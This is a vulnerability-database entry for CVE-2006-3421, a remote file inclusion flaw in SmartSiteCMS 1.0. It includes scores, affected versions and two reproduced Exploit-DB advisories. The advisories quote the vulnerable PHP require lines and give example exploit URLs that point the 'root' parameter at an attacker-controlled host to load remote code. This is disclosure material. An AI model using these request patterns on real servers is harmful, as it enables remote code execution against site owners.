CVE-2006-3421
published 2006-07-07CVE-2006-3421: PHP remote file inclusion vulnerability in SmartSiteCMS 1.0 and earlier, when register_globals is enabled, allows remote attackers to execute arbitrary PHP…
PriorityP333medium5.1CVSS 2.0
AVNACHAuNCPIPAP
EXPLOIT
EPSS
4.16%
89.6th percentile
PHP remote file inclusion vulnerability in SmartSiteCMS 1.0 and earlier, when register_globals is enabled, allows remote attackers to execute arbitrary PHP code via the root parameter in (1) comment.php, (2) admin/comedit.php, (3) admin/test.php, (4) admin/index.php, and (5) admin/include/inc_adminfoot.php, a different set of vectors than CVE-2006-3162.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| smartsitecms | smartsitecms | <= 1.0 | — |
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
SmartSite CMS 1.0 - 'root' Multiple Remote File Inclusions
exploitdb·2006-07-01
CVE-2006-3421 SmartSite CMS 1.0 - 'root' Multiple Remote File Inclusions
SmartSite CMS 1.0 - 'root' Multiple Remote File Inclusions
---
smartsite cms v1.0 Multiple Remote File include
Discovered By CrAsh_oVeR_rIdE
Arabian Security Team
site of script:www.smartsitecms.net
Vulnerable: smartsite cms v1.0
vulnerable code:
1-in comment.php :
require($root . "include/inc_foot.php");
2-in /admin/test.php :
require($root . "include/inc_adminfooter.php");
3-in /admin/index.php :
require($root . "admin/include/inc_adminfooter.php");
4-in /admin/include/inc_adminfoot.php:
require($root . "include/inc_footer.php");
$root parameter File include
vulnerable files :
comment.php
/admin/test.php
/admin/index.php
/admin/include/inc_adminfoot.php
example:
www.example.com/(path)/admin/test.php?root=http://evilcode.txt?
www.example.com/(path)/comment.php?root=http://evilcode.txt?
Exploit-DB
SmartSite CMS 1.0 - 'root' Remote File Inclusion
exploitdb·2006-06-20
CVE-2006-3421 SmartSite CMS 1.0 - 'root' Remote File Inclusion
SmartSite CMS 1.0 - 'root' Remote File Inclusion
---
# smartsite cms <= 1.0 Remote File Inclusion
#
# Contact : irc.gigachat.net #ir4dex
# Risk : High
# Class : Remote
# Script : smartsite cms
# Version : not specified
# URL: http://www.smartsitecms.net/
Vulnerable code :
require($root . "include/inc_foot.php");
http://www.site.com/[smartsitecmspath]/include/inc.foot.php?root=http://[attacker]
by Archit3ct and IR4DEX GROUP
Greetz: Darkfire
# milw0rm.com [2006-06-20]
No writeups or analysis indexed.
http://securityreason.com/securityalert/1198http://securitytracker.com/id?1016411http://www.osvdb.org/26748http://www.osvdb.org/26749http://www.osvdb.org/26750http://www.osvdb.org/26751http://www.osvdb.org/26752http://www.securityfocus.com/archive/1/438581/100/100/threadedhttp://www.securityfocus.com/bid/18697http://securityreason.com/securityalert/1198http://securitytracker.com/id?1016411http://www.osvdb.org/26748http://www.osvdb.org/26749http://www.osvdb.org/26750http://www.osvdb.org/26751http://www.osvdb.org/26752http://www.securityfocus.com/archive/1/438581/100/100/threadedhttp://www.securityfocus.com/bid/18697
2006-07-07
Published